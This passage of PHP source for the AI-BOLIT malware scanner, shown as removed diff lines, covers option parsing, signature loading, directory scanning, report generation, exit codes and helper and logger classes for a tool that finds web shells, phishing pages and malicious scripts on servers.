- $BOOL_RESULT = true;
- }
- if (isset($options['x'])) {
- define('AI_EXPERT', $options['x']);
- } else if (isset($options['mode'])) {
- define('AI_EXPERT', $options['mode']);
- } else {
- define('AI_EXPERT', AI_EXPERT_MODE);
- }
- if (AI_EXPERT < 2) {
- $g_SpecificExt = true;
- $defaults['scan_all_files'] = false;
- } else {
- $defaults['scan_all_files'] = true;
- }
- define('BOOL_RESULT', $BOOL_RESULT);
- if ((isset($options['delay']) && !empty($options['delay']) && ($delay = $options['delay']) !== false) || (isset($options['d']) && !empty($options['d']) && ($delay = $options['d']) !== false)) {
- $delay = (int) $delay;
- if (!($delay < 0)) {
- $defaults['scan_delay'] = $delay;
- }
- }
- if ((isset($options['skip']) && !empty($options['skip']) && ($ext_list = $options['skip']) !== false) || (isset($options['k']) && !empty($options['k']) && ($ext_list = $options['k']) !== false)) {
- $defaults['skip_ext'] = $ext_list;
- }
- if (isset($options['n']) || isset($options['skip-cache'])) {
- $defaults['skip_cache'] = true;
- }
- if (isset($options['scan'])) {
- $ext_list = strtolower(trim($options['scan'], " ,\t\n\r\0\x0B"));
- if ($ext_list != '') {
- $l_FastCli = true;
- $filter->setSensitiveExt($ext_list);
- $g_SensitiveFiles = $filter->getSensitiveExt();
- $g_SpecificExt = true;
- }
- }
-
- if (isset($options['cloud-assist'])) {
- define('CLOUD_ASSIST_TOKEN', $options['cloud-assist']);
- }
-
- if (isset($options['rapid-account-scan'])) {
- define('RAPID_ACCOUNT_SCAN', $options['rapid-account-scan']);
- }
-
- if (defined('RAPID_ACCOUNT_SCAN')) {
- if (isset($options['rapid-account-scan-type'])) {
- define('RAPID_ACCOUNT_SCAN_TYPE', $options['rapid-account-scan-type']);
- }
- else {
- define('RAPID_ACCOUNT_SCAN_TYPE', 'SUSPICIOUS');
- }
- }
- if (isset($options['with-suspicious'])) {
- define('AI_EXTRA_WARN', true);
- }
- if (isset($options['extended-report'])) {
- define('EXTENDED_REPORT', true);
- }
- if (isset($options['all'])||isset($options['a'])) {
- $defaults['scan_all_files'] = true;
- $g_SpecificExt = false;
- }
- if (isset($options['cms'])) {
- define('CMS', $options['cms']);
- } else if (isset($options['e'])) {
- define('CMS', $options['e']);
- }
- if (!defined('SMART_SCAN')) {
- define('SMART_SCAN', 0);
- }
- if (!defined('AI_DEOBFUSCATE')) {
- define('AI_DEOBFUSCATE', false);
- }
- if (!defined('AI_EXTRA_WARN')) {
- define('AI_EXTRA_WARN', false);
- }
- $l_SpecifiedPath = false;
- if ((isset($options['path']) && !empty($options['path']) && ($path = $options['path']) !== false)
- || (isset($options['p']) && !empty($options['p']) && ($path = $options['p']) !== false)
- ) {
- $defaults['path'] = $path;
- $l_SpecifiedPath = true;
- }
-
- $defaults['use_template_in_path'] = isset($options['use-template-in-path']);
-
- if (isset($options['noprefix']) && !empty($options['noprefix']) && ($g_NoPrefix = $options['noprefix']) !== false) {
- } else {
- $g_NoPrefix = '';
- }
- if (isset($options['addprefix']) && !empty($options['addprefix']) && ($g_AddPrefix = $options['addprefix']) !== false) {
- } else {
- $g_AddPrefix = '';
- }
- if (isset($options['use-heuristics'])) {
- define('USE_HEURISTICS', true);
- }
- if (isset($options['use-heuristics-suspicious'])) {
- define('USE_HEURISTICS_SUSPICIOUS', true);
- }
- if (defined('USE_HEURISTICS') && defined('USE_HEURISTICS_SUSPICIOUS')) {
- die('You can not use --use-heuristic and --use-heuristic-suspicious the same time.');
- }
- $l_SuffixReport = str_replace('/var/www', '', $defaults['path']);
- $l_SuffixReport = str_replace('/home', '', $l_SuffixReport);
- $l_SuffixReport = preg_replace('~[/\\\.\s]~', '_', $l_SuffixReport);
- $l_SuffixReport .= "-" . rand(1, 999999);
- if ((isset($options['report']) && ($report = $options['report']) !== false) || (isset($options['r']) && ($report = $options['r']) !== false)) {
- $report = str_replace('@PATH@', $l_SuffixReport, $report);
- $report = str_replace('@RND@', rand(1, 999999), $report);
- $report = str_replace('@DATE@', date('d-m-Y-h-i'), $report);
- define('REPORT', $report);
- define('NEED_REPORT', true);
- }
- if (isset($options['no-html'])) {
- define('REPORT', 'no@email.com');
- }
- defined('ENCODE_FILENAMES_WITH_BASE64') || define('ENCODE_FILENAMES_WITH_BASE64', isset($options['encode-b64-fn']));
-
- defined('INPUT_FILENAMES_BASE64_ENCODED') || define('INPUT_FILENAMES_BASE64_ENCODED', isset($options['input-fn-b64-encoded']));
- defined('REPORT') || define('REPORT', 'AI-BOLIT-REPORT-' . $l_SuffixReport . '-' . date('d-m-Y_H-i') . '.html');
- $last_arg = max(1, sizeof($_SERVER['argv']) - 1);
- if (isset($_SERVER['argv'][$last_arg])) {
- $path = $_SERVER['argv'][$last_arg];
- if (substr($path, 0, 1) != '-'
- && (substr($_SERVER['argv'][$last_arg - 1], 0, 1) != '-'
- || array_key_exists(substr($_SERVER['argv'][$last_arg - 1], -1), $cli_options)
- )
- ) {
- $defaults['path'] = $path;
- }
- }
- define('ONE_PASS', isset($options['one-pass']));
-
- // BEGIN of configuring the factory
- $factoryConfig = [
- RapidAccountScan::class => RapidAccountScan::class,
- RapidScanStorage::class => RapidScanStorage::class,
- CloudAssistedStorage::class => CloudAssistedStorage::class,
- DbFolderSpecification::class => DbFolderSpecification::class,
- CriticalFileSpecification::class => CriticalFileSpecification::class,
- CloudAssistedRequest::class => CloudAssistedRequest::class,
- CSVReport::class => CSVReport::class,
- JSONReport::class => JSONReport::class,
- PHPReport::class => PHPReport::class,
- PlainReport::class => PlainReport::class,
- DoublecheckReport::class => DoublecheckReport::class,
- HTMLReport::class => HTMLReport::class,
- DetachedMode::class => DetachedMode::class,
- ResidentMode::class => ResidentMode::class,
- Logger::class => Logger::class,
- ];
- if (isset($options['factory-config'])) {
- $optionalFactoryConfig = require($options['factory-config']);
- $factoryConfig = array_merge($factoryConfig, $optionalFactoryConfig);
- }
- Factory::configure($factoryConfig);
- // END of configuring the factory
- } else {
- define('AI_EXPERT', AI_EXPERT_MODE);
- define('ONE_PASS', true);
- }
- if (ONE_PASS && defined('CLOUD_ASSIST_TOKEN')) {
- die('Both parameters(one-pass and cloud-assist) not supported');
- }
- if (defined('RAPID_ACCOUNT_SCAN') && !defined('CLOUD_ASSIST_TOKEN')) {
- die('CloudScan should be enabled');
- }
- if (defined('CREATE_SHARED_MEMORY') && CREATE_SHARED_MEMORY == true && !defined('SHARED_MEMORY')) {
- die('shared-mem-progress should be enabled and ID specified.');
- }
- if (defined('RAPID_ACCOUNT_SCAN')) {
- if (!mkdir(RAPID_ACCOUNT_SCAN, 0700, true) && !is_dir(RAPID_ACCOUNT_SCAN)) {
- throw new Exception(sprintf('Directory "%s" was not created', RAPID_ACCOUNT_SCAN));
- }
- $specification = Factory::instance()->create(DbFolderSpecification::class);
- if (!$specification->satisfiedBy(RAPID_ACCOUNT_SCAN)) {
- @unlink(RAPID_ACCOUNT_SCAN);
- die('Rapid DB folder error! Please check the folder.');
- }
- }
- if (defined('RAPID_ACCOUNT_SCAN_TYPE') && !in_array(RAPID_ACCOUNT_SCAN_TYPE, array('NONE', 'ALL', 'SUSPICIOUS'))) {
- die('Wrong Rapid account scan type');
- }
- if (defined('RAPID_ACCOUNT_SCAN') && !extension_loaded('leveldb')) {
- die('LevelDB extension needed for Rapid DB');
- }
- $vars->blackFiles = [];
- if (DEBUG_MODE || DEBUG_PERFORMANCE) {
- $debug = new DebugMode(DEBUG_MODE, DEBUG_PERFORMANCE);
- } else {
- $debug = null;
- }
- $vars->signs = new LoadSignaturesForScan(isset($defaults['avdb']) ? $defaults['avdb'] : null, AI_EXPERT, DEBUG_PERFORMANCE);
- if ($vars->signs->getResult() == $vars->signs::SIGN_EXTERNAL) {
- stdOut('Loaded external signatures from ' . $defaults['avdb']);
- } else if ($vars->signs->getResult() == $vars->signs::SIGN_IMPORT) {
- stdOut('Loaded ' . __DIR__ . '/ai-bolit.sig signatures from ai-bolit.sig');
- } else if (is_object($debug) && $vars->signs->getResult() == $vars->signs::SIGN_ERROR) {
- $debug->QCR_Debug('Import ai-bolit.sig ' . $vars->signs->getLastError());
- }
- if (is_object($debug)) {
- $debug->QCR_Debug();
- }
- if (isset($defaults['userid'])) {
- stdOut('Running from ' . $defaults['userid'] . ':' . $defaults['groupid']);
- }
- if (AI_EXTRA_WARN) {
- $sign_count = $vars->signs->getDBCountWithSuspicious();
- } else {
- $sign_count = $vars->signs->getDBCount();
- }
- stdOut('Malware signatures: ' . $sign_count);
- if ($g_SpecificExt) {
- stdOut("Scan specific extensions: " . implode(',', $g_SensitiveFiles));
- }
- // Black list database
- try {
- $file = __DIR__ . '/AIBOLIT-BINMALWARE.db';
- if (isset($defaults['avdb'])) {
- $file = dirname($defaults['avdb']) . '/AIBOLIT-BINMALWARE.db';
- }
- $vars->blacklist = FileHashMemoryDb::open($file);
- stdOut("Binary malware signatures: " . ceil($vars->blacklist->count()));
- } catch (Exception $e) {
- $vars->blacklist = null;
- }
- if (DEBUG_PERFORMANCE) {
- stdOut("Debug Performance Scan");
- }
- // Init
- define('MAX_PREVIEW_LEN', 120);
- if (defined('AIBOLIT_EXTERNAL_HANDLER')) {
- include_once(AIBOLIT_EXTERNAL_HANDLER);
- stdOut("\nLoaded external handler: " . AIBOLIT_EXTERNAL_HANDLER . "\n");
- if (function_exists("aibolit_onStart")) {
- aibolit_onStart();
- }
- }
- // Perform full scan when running from command line
- if ($l_FastCli) {
- $defaults['scan_all_files'] = 0;
- }
- define('SCAN_ALL_FILES', (bool) $defaults['scan_all_files']);
- define('SCAN_DELAY', (int) $defaults['scan_delay']);
- define('MAX_SIZE_TO_SCAN', AibolitHelpers::getBytes($defaults['max_size_to_scan']));
- define('MAX_SIZE_TO_CLOUDSCAN', AibolitHelpers::getBytes($defaults['max_size_to_cloudscan']));
- if (SCAN_ALL_FILES) {
- $filter->setScanAll();
- }
- if ($defaults['memory_limit'] && ($defaults['memory_limit'] = AibolitHelpers::getBytes($defaults['memory_limit'])) > 0) {
- ini_set('memory_limit', $defaults['memory_limit']);
- stdOut("Changed memory limit to " . $defaults['memory_limit']);
- }
- if (realpath($defaults['path']) === false) {
- define('ROOT_PATH', $defaults['path']);
- } else {
- define('ROOT_PATH', realpath($defaults['path']));
- }
- if (!ROOT_PATH) {
- if (isCli()) {
- die(stdOut("Directory '{$defaults['path']}' not found!"));
- }
- } elseif (!$defaults['use_template_in_path'] && !is_readable(ROOT_PATH) && isCli()) {
- die2(stdOut("Cannot read directory '" . ROOT_PATH . "'!"));
- }
- define('CURRENT_DIR', getcwd());
- if(!$defaults['use_template_in_path']) {
- chdir(ROOT_PATH);
- }
- if (isCli() && REPORT !== '' && REPORT !== 'no@email.com') {
- $report = str_replace('\\', '/', REPORT);
- $abs = strpos($report, '/') === 0 ? DIR_SEPARATOR : '';
- $report = array_values(array_filter(explode('/', $report)));
- $report_file = array_pop($report);
- $report_path = realpath($abs . implode(DIR_SEPARATOR, $report));
- define('REPORT_FILE', $report_file);
- define('REPORT_PATH', $report_path);
- if (REPORT_FILE && REPORT_PATH && is_file(REPORT_PATH . DIR_SEPARATOR . REPORT_FILE)) {
- @unlink(REPORT_PATH . DIR_SEPARATOR . REPORT_FILE);
- }
- if (!isset($options['no-html']) && defined('REPORT_FILE')) {
- $reports[HTMLReport::class] = REPORT_PATH . DIR_SEPARATOR . REPORT_FILE;
- }
- }
- if (defined('REPORT_PATH')) {
- $l_ReportDirName = REPORT_PATH;
- }
- $vars->options = $options;
- $path = $defaults['path'];
- $report_mask = $defaults['report_mask'];
- $extended_report = defined('EXTENDED_REPORT') && EXTENDED_REPORT;
- $rapid_account_scan_report = defined('RAPID_ACCOUNT_SCAN');
- $max_size_to_scan = AibolitHelpers::getBytes(MAX_SIZE_TO_SCAN);
- $max_size_to_scan = $max_size_to_scan > 0 ? $max_size_to_scan : AibolitHelpers::getBytes('1m');
- $max_size_to_scan = AibolitHelpers::bytes2Human($max_size_to_scan);
- $use_doublecheck = isset($options['with-2check']) && file_exists(DOUBLECHECK_FILE);
- $reportFactory = function ($reports) use ($vars, $path, $db_meta_info, $report_mask, $extended_report,
- $rapid_account_scan_report, $g_AddPrefix, $g_NoPrefix, $snum, $max_size_to_scan, $g_SpecificExt, $use_doublecheck) {
- foreach($reports as $report_class => $file) {
- yield Factory::instance()->create($report_class, [$vars->signs->_Mnemo, $path,
- $vars->signs->getDBLocation(), $vars->signs->getDBMetaInfoVersion(),
- $report_mask, $extended_report, $rapid_account_scan_report, AI_VERSION, AI_HOSTER,
- AI_EXTRA_WARN, AI_EXPERT, SMART_SCAN, ROOT_PATH, SCAN_ALL_FILES, $g_SpecificExt,
- DOUBLECHECK_FILE, $use_doublecheck, START_TIME, $snum, $max_size_to_scan, $g_AddPrefix, $g_NoPrefix,
- isset($reports[CSVReport::class]), $file, JSON_STDOUT]);
- }
- };
- define('QUEUE_FILENAME', ($l_ReportDirName != '' ? $l_ReportDirName . '/' : '') . 'AI-BOLIT-QUEUE-' . md5($defaults['path']) . '-' . rand(1000, 9999) . '.txt');
- if (isset($options['detached'])) {
- $detached = Factory::instance()->create(DetachedMode::class, [$finder, $debug, $options['detached'], $vars, START_TIME, $reportFactory]);
- if (defined('LISTING_FILE')) {
- $detached->scanListing(LISTING_FILE, INPUT_FILENAMES_BASE64_ENCODED);
- }
- else {
- $detached->scanDirectories(ROOT_PATH);
- }
- exit(0);
- }
- if (isset($options['resident'])) {
- $logger = null;
- $levels = explode(',', LOG_LEVEL);
- $logger = new Logger(LOG_FILE, $levels);
- Factory::instance()->create(ResidentMode::class, [$finder, $debug, $reportFactory, $vars->signs, $vars->blacklist, $logger, $vars->maxMinUid]);
- exit(0);
- }
- ////////////////////////////////////////////////////////////////////////////
- if (!isCli()) {
- header('Content-type: text/html; charset=utf-8');
- }
- if (!$defaults['use_template_in_path'] && !is_readable(ROOT_PATH)) {
- echo Translate::getStr('warning.folder_read_permission');
- exit;
- }
- if (isCli()) {
- if (defined('REPORT_PATH') && REPORT_PATH) {
- if (!is_writable(REPORT_PATH)) {
- die2("\nCannot write report. Report dir " . REPORT_PATH . " is not writable.");
- }
- else if (!REPORT_FILE) {
- die2("\nCannot write report. Report filename is empty.");
- }
- else if (($file = REPORT_PATH . DIR_SEPARATOR . REPORT_FILE) && is_file($file) && !is_writable($file)) {
- die2("\nCannot write report. Report file '$file' exists but is not writable.");
- }
- }
- }
- // detect version CMS
- $g_CmsListDetector = null;
- if (!$defaults['use_template_in_path']) {
- $g_KnownCMS = [];
- $g_CmsListDetector = new CmsVersionDetector(ROOT_PATH);
- $l_CmsDetectedNum = $g_CmsListDetector->getCmsNumber();
- for ($tt = 0; $tt < $l_CmsDetectedNum; $tt++) {
- $vars->CMS[] = $g_CmsListDetector->getCmsName($tt) . ' v' . AibolitHelpers::makeSafeFn($g_CmsListDetector->getCmsVersion($tt), $g_AddPrefix, $g_NoPrefix);
- }
- }
- $g_DirIgnoreList = array();
- $g_IgnoreList = array();
- $g_UrlIgnoreList = array();
- $g_KnownList = array();
- $g_AiBolitAbsolutePath = __DIR__;
- $l_IgnoreFilename = $g_AiBolitAbsolutePath . '/.aignore';
- $l_DirIgnoreFilename = $g_AiBolitAbsolutePath . '/.adirignore';
- $l_UrlIgnoreFilename = $g_AiBolitAbsolutePath . '/.aurlignore';
- if (file_exists($l_IgnoreFilename)) {
- $l_IgnoreListRaw = file($l_IgnoreFilename);
- for ($i = 0, $iMax = count($l_IgnoreListRaw); $i < $iMax; $i++) {
- $g_IgnoreList[] = explode("\t", trim($l_IgnoreListRaw[$i]));
- }
- unset($l_IgnoreListRaw);
- }
- if (file_exists($l_UrlIgnoreFilename)) {
- $g_UrlIgnoreList = file($l_UrlIgnoreFilename);
- for ($i = 0, $iMax = count($g_UrlIgnoreList); $i < $iMax; $i++) {
- $g_UrlIgnoreList[$i] = trim($g_UrlIgnoreList[$i]);
- }
- }
- $filter->setIgnoreListPatterns($l_DirIgnoreFilename);
- if (SMART_SCAN) {
- $filter->setSmartScan();
- $g_DirIgnoreList = array_merge($g_DirIgnoreList, $l_SkipMask);
- }
- if (is_object($debug)) {
- $debug->QCR_Debug();
- }
- $defaults['skip_ext'] = strtolower(trim($defaults['skip_ext']));
- if ($defaults['skip_ext'] != '') {
- $filter->setIgnoreExt($defaults['skip_ext']);
- $g_IgnoredExt = explode(',', $defaults['skip_ext']);
- for ($i = 0, $iMax = count($g_IgnoredExt); $i < $iMax; $i++) {
- $g_IgnoredExt[$i] = trim($g_IgnoredExt[$i]);
- }
- if (is_object($debug)) {
- $debug->QCR_Debug('Skip files with extensions: ' . implode(',', $g_IgnoredExt));
- }
- stdOut('Skip extensions: ' . implode(',', $g_IgnoredExt));
- }
- $use_listingfile = defined('LISTING_FILE');
- $listing = false;
- if ($use_doublecheck) {
- $listing = DOUBLECHECK_FILE;
- } elseif ($use_listingfile) {
- $listing = LISTING_FILE;
- }
- $base64_encoded = INPUT_FILENAMES_BASE64_ENCODED;
- try {
- $scan = new Scanner($finder, $vars, $debug);
- if (defined('SCAN_FILE')) {
- // scan single file
- $filepath = INPUT_FILENAMES_BASE64_ENCODED ? FilepathEscaper::decodeFilepathByBase64(SCAN_FILE) : SCAN_FILE;
- stdOut("Start scanning file '" . $filepath . "'.");
- if (file_exists($filepath) && is_file($filepath) && is_readable($filepath)) {
- $vars->foundTotalFiles = 1;
- $s_file[] = $filepath;
- $base64_encoded = false;
- } else {
- stdOut("Error:" . $filepath . " either is not a file or readable");
- }
- } elseif ($listing) {
- //scan listing
- if ($listing == 'stdin') {
- $lines = explode("\n", getStdin());
- } else {
- $lines = new SplFileObject($listing);
- $lines->setFlags(SplFileObject::READ_AHEAD | SplFileObject::SKIP_EMPTY | SplFileObject::DROP_NEW_LINE);
- }
- if (is_array($lines)) {
- $vars->foundTotalFiles = count($lines);
- } else if ($lines instanceof SplFileObject) {
- $lines->seek($lines->getSize());
- $vars->foundTotalFiles = $lines->key();
- $lines->seek(0);
- }
- $s_file = $lines;
- stdOut("Start scanning the list from '" . $listing . "'.\n");
- } else {
- //scan by path
- $base64_encoded = true;
- file_exists(QUEUE_FILENAME) && unlink(QUEUE_FILENAME);
- $scan->QCR_ScanDirectories(ROOT_PATH);
- stdOut("Found $vars->foundTotalFiles files in $vars->foundTotalDirs directories.");
- stdOut("Start scanning '" . ROOT_PATH . "'.\n");
- if (is_object($debug)) {
- $debug->QCR_Debug();
- }
- stdOut(str_repeat(' ', 160), false);
- $s_file = new SplFileObject(QUEUE_FILENAME);
- $s_file->setFlags(SplFileObject::READ_AHEAD | SplFileObject::SKIP_EMPTY | SplFileObject::DROP_NEW_LINE);
- }
- $scan->QCR_GoScan($s_file, null, $base64_encoded, $use_doublecheck);
- unset($s_file);
- @unlink(QUEUE_FILENAME);
- $vars->foundTotalDirs = $vars->totalFolder;
- if (defined('PROGRESS_LOG_FILE') && file_exists(PROGRESS_LOG_FILE)) {
- @unlink(PROGRESS_LOG_FILE);
- }
- if (CREATE_SHARED_MEMORY) {
- shmop_delete(SHARED_MEMORY);
- }
- if (defined('SHARED_MEMORY')) {
- shmop_close(SHARED_MEMORY);
- }
- } catch (Exception $e) {
- if (is_object($debug)) {
- $debug->QCR_Debug($e->getMessage());
- }
- }
- if (is_object($debug)) {
- $debug->QCR_Debug();
- }
- if (true) {
- $g_HeuristicDetected = array();
- $g_Iframer = array();
- $g_Base64 = array();
- }
- list($snum, $i) = $scan->whitelisting();
- ////////////////////////////////////////////////////////////////////////////
- if (AI_HOSTER) {
- $g_IframerFragment = array();
- $g_Iframer = array();
- $vars->redirect = array();
- $vars->doorway = array();
- $g_EmptyLink = array();
- $g_HeuristicType = array();
- $g_HeuristicDetected = array();
- $vars->adwareList = array();
- $vars->phishing = array();
- $g_PHPCodeInside = array();
- $g_PHPCodeInsideFragment = array();
- $vars->bigFiles = array();
- $vars->redirectPHPFragment = array();
- $g_EmptyLinkSrc = array();
- $g_Base64Fragment = array();
- $g_UnixExec = array();
- $vars->phishingSigFragment = array();
- $vars->phishingFragment = array();
- $g_PhishingSig = array();
- $g_IframerFragment = array();
- $vars->CMS = array();
- $vars->adwareListFragment = array();
- }
- if (BOOL_RESULT && (!defined('NEED_REPORT'))) {
- if ((count($vars->criticalPHP) > 0) || (count($vars->criticalJS) > 0) || (count($g_PhishingSig) > 0)) {
- exit(2);
- } else {
- exit(0);
- }
- }
- ////////////////////////////////////////////////////////////////////////////
- $time_taken = AibolitHelpers::seconds2Human(microtime(true) - START_TIME);
- stdOut("\nBuilding report [ mode = " . AI_EXPERT . " ]\n");
- //stdOut("\nLoaded signatures: " . count($g_FlexDBShe) . " / " . count($g_JSVirSig) . "\n");
- ////////////////////////////////////////////////////////////////////////////
- $scan_time = round(microtime(true) - START_TIME, 1);
- foreach($reportFactory($reports) as $report) {
- $report->generateReport($vars, $scan_time);
- $res = $report->write();
- if ($res !== '') {
- stdOut($res);
- }
- }
- stdOut("\n");
- if (!AI_HOSTER) {
- stdOut("Building list of vulnerable scripts " . count($vars->vulnerable));
- }
- stdOut("Building list of shells " . count($vars->criticalPHP));
- stdOut("Building list of js " . count($vars->criticalJS));
- stdOut("Building list of unread files " . count($vars->notRead));
- if (!AI_HOSTER) {
- stdOut("Building list of phishing pages " . count($vars->phishing));
- stdOut('Building list of redirects ' . count($vars->redirect));
- stdOut("Building list of symlinks " . count($vars->symLinks));
- }
- if (AI_EXTRA_WARN) {
- stdOut("Building list of suspicious files " . count($vars->warningPHP));
- }
- ////////////////////////////////////
- if (!AI_HOSTER) {
- stdOut("Building list of adware " . count($vars->adwareList));
- stdOut("Building list of bigfiles " . count($vars->bigFiles));
- stdOut("Building list of doorways " . count($vars->doorway));
- }
- if (!defined('REPORT') || REPORT === '') {
- die2('Report not written.');
- }
- stdOut("Scanning complete! Time taken: " . AibolitHelpers::seconds2Human($scan_time));
- if (DEBUG_PERFORMANCE) {
- $debug->printPerfomanceStats();
- die();
- }
- stdOut("\n\n!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!");
- stdOut("Attention! DO NOT LEAVE either ai-bolit.php or AI-BOLIT-REPORT-<xxxx>-<yy>.html \nfile on server. COPY it locally then REMOVE from server. ");
- stdOut("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!");
- if (isset($options['cmd'])) {
- stdOut("Run \"{$options['cmd']}\" ");
- system($options['cmd']);
- }
- if (is_object($debug)) {
- $debug->QCR_Debug();
- }
- # exit with code
- $l_EC1 = count($vars->criticalPHP);
- $l_EC2 = count($vars->criticalJS) + count($vars->phishing) + count($vars->warningPHP);
- $code = 0;
- if ($l_EC1 > 0) {
- $code = 2;
- } else {
- if ($l_EC2 > 0) {
- $code = 1;
- }
- }
- $stat = array(
- 'php_malware' => count($vars->criticalPHP),
- 'cloudhash' => count($vars->blackFiles),
- 'js_malware' => count($vars->criticalJS),
- 'phishing' => count($vars->phishing)
- );
- if (function_exists('aibolit_onComplete')) {
- aibolit_onComplete($code, $stat);
- }
- stdOut('Exit code ' . $code);
- exit($code);
- ############################################# END ###############################################
- function getStdin()
- {
- $stdin = '';
- $f = @fopen('php://stdin', 'r');
- while($line = fgets($f))
- {
- $stdin .= $line;
- }
- fclose($f);
- return $stdin;
- }
- function die2($str) {
- if (function_exists('aibolit_onFatalError')) {
- aibolit_onFatalError($str);
- }
- die($str);
- }
- function getMaxMinUid($path = '/etc/login.defs')
- {
- $uid_min = 1000;
- $uid_max = 60000;
- if (!file_exists($path)) {
- $release = new OsReleaseInfo();
- $ver = $release->getOsVersion();
- if ($release->isIdLikeCentos() && $ver && (strpos($ver, '6') === 0)) {
- $uid_min = 500;
- $uid_max = 60000;
- }
- unset($ver);
- return [$uid_min, $uid_max];
- }
- $file = file($path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
- foreach ($file as $line) {
- $line = trim($line);
- if (strpos($line, 'UID_MIN') === 0) {
- list($key, $value) = preg_split('~\s+~', trim($line), 2, PREG_SPLIT_NO_EMPTY);
- $uid_min = intval(trim($value));
- }
- if (strpos($line, 'UID_MAX') === 0) {
- list($key, $value) = preg_split('~\s+~', trim($line), 2, PREG_SPLIT_NO_EMPTY);
- $uid_max = intval(trim($value));
- }
- }
- return [$uid_min, $uid_max];
- }
- ////////////////////////////////////////////////////////////////////////////////////////////////////////////////
- /// The following instructions should be written the same pattern,
- /// because they are replaced by file content while building a release.
- /// See the release_aibolit_ru.sh file for details.
- class AibolitHelpers
- {
- /**
- * Format bytes to human readable
- *
- * @param int $bytes
- *
- * @return string
- */
- public static function bytes2Human($bytes)
- {
- if ($bytes < 1024) {
- return $bytes . ' b';
- } elseif (($kb = $bytes / 1024) < 1024) {
- return number_format($kb, 2) . ' Kb';
- } elseif (($mb = $kb / 1024) < 1024) {
- return number_format($mb, 2) . ' Mb';
- } elseif (($gb = $mb / 1024) < 1024) {
- return number_format($gb, 2) . ' Gb';
- } else {
- return number_format($gb / 1024, 2) . 'Tb';
- }
- }
- /**
- * Seconds to human readable
- * @param int $seconds
- * @return string
- */
- public static function seconds2Human($seconds)
- {
- $r = '';
- $_seconds = floor($seconds);
- $ms = $seconds - $_seconds;
- $seconds = $_seconds;
- if ($hours = floor($seconds / 3600)) {
- $r .= $hours . ' h ';
- $seconds %= 3600;
- }
- if ($minutes = floor($seconds / 60)) {
- $r .= $minutes . ' m ';
- $seconds %= 60;
- }
- if ($minutes < 3) {
- $r .= ' ' . (string)($seconds + ($ms > 0 ? round($ms) : 0)) . ' s';
- }
- return $r;
- }
- /**
- * Get bytes from shorthand byte values (1M, 1G...)
- * @param int|string $val
- * @return int
- */
- public static function getBytes($val)
- {
- $val = trim($val);
- $last = strtolower($val[strlen($val) - 1]);
- switch ($last) {
- case 't':
- $val *= 1024;
- case 'g':
- $val *= 1024;
- case 'm':
- $val *= 1024;
- case 'k':
- $val *= 1024;
- }
- return intval($val);
- }
- /**
- * Convert dangerous chars to html entities
- *
- * @param $par_Str
- * @param string $addPrefix
- * @param string $noPrefix
- * @param bool $replace_path
- *
- * @return string
- */
- public static function makeSafeFn($par_Str, $addPrefix = '', $noPrefix = '', $replace_path = false)
- {
- if ($replace_path) {
- $lines = explode("\n", $par_Str);
- array_walk($lines, static function(&$n) use ($addPrefix, $noPrefix) {
- $n = $addPrefix . str_replace($noPrefix, '', $n);
- });
- $par_Str = implode("\n", $lines);
- }
- return htmlspecialchars($par_Str, ENT_SUBSTITUTE | ENT_QUOTES);
- }
- public static function myCheckSum($str)
- {
- return hash('crc32b', $str);
- }
- }
- class Variables
- {
- public $structure = array();
- public $totalFolder = 0;
- public $totalFiles = 0;
- public $adwareList = array();
- public $criticalPHP = array();
- public $phishing = array();
- public $CMS = array();
- public $redirect = array();
- public $redirectPHPFragment = array();
- public $criticalJS = array();
- public $criticalJSFragment = array();
- public $blackFiles = array();
- public $notRead = array();
- public $bigFiles = array();
- public $criticalPHPSig = array();
- public $criticalPHPFragment = array();
- public $phishingSigFragment = array();
- public $phishingFragment = array();
- public $criticalJSSig = array();
- public $adwareListFragment = array();
- public $warningPHPSig = array();
- public $warningPHPFragment = array();
- public $warningPHP = array();
- public $blacklist = null;
- public $vulnerable = array();
- public $crc = 0;
- public $counter = 0;
- public $foundTotalDirs = 0;
- public $foundTotalFiles = 0;
- public $files_and_ignored = 0;
- public $doorway = array();
- public $symLinks = array();
- public $skippedFolders = array();
- public $hashtable = null;
- public $fileinfo = null;
- public $rescanCount = 0;
- public $maxMinUid = array();
- public $options = array();
- public $signs = array();
- }
- class Logger
- {
- /**
- * $log_file - path and log file name
- * @var string
- */
- protected $log_file;
- /**
- * $file - file
- * @var string
- */
- protected $file;
- /**
- * dateFormat
- * @var string
- */
- protected $dateFormat = 'd-M-Y H:i:s';
- /**
- * @var array
- */
- const LEVELS = ['ERROR' => 1, 'DEBUG' => 2, 'INFO' => 4, 'ALL' => 7];
- /**
- * @var int
- */
- private $level;
- /**
- * Class constructor
- *
- * @param string $log_file - path and filename of log
- * @param string|array $level - Level of logging
- *
- * @throws Exception
- */
- public function __construct($log_file = null, $level = 'INFO')
- {
- if (!$log_file) {
- return;
- }
- if (is_array($level)) {
- foreach ($level as $v) {
- if (!isset(self::LEVELS[$v])) {
- $v = 'INFO';
- }
- $this->level |= self::LEVELS[$v];
- }
- } else {
- if (isset(self::LEVELS[$level])) {
- $this->level = self::LEVELS[$level];
- } else {
- $this->level = self::LEVELS['INFO'];
- }
- }
- $this->log_file = $log_file;
- //Create log file if it doesn't exist.
- if (!file_exists($log_file)) {
- fopen($log_file, 'w') or exit("Can't create $log_file!");
- }
- //Check permissions of file.
- if (!is_writable($log_file)) {
- //throw exception if not writable
- throw new Exception('ERROR: Unable to write to file!', 1);
- }
- }
- /**
- * Info method (write info message)
- * @param string $message
- * @return void
- */
- public function info($message)
- {
- if ($this->level & self::LEVELS['INFO']) {
- $this->writeLog($message, 'INFO');
- }
- }
- /**
- * Debug method (write debug message)
- * @param string $message
- * @return void
- */
- public function debug($message)
- {
- if ($this->level & self::LEVELS['DEBUG']) {
- $this->writeLog($message, 'DEBUG');
- }
- }
- /**
- * Error method (write error message)
- * @param string $message
- * @return void
- */
- public function error($message)
- {
- if ($this->level & self::LEVELS['ERROR']) {
- $this->writeLog($message, 'ERROR');
- }
- }
- /**
- * Write to log file
- * @param string $message
- * @param string $level
- * @return void
- */
- public function writeLog($message, $level)
- {
- if (!$this->log_file) {
- return;
- }
- // open log file
- if (!is_resource($this->file)) {
- $this->openLog();
- }
- //Grab time - based on timezone in php.ini
- $time = date($this->dateFormat);
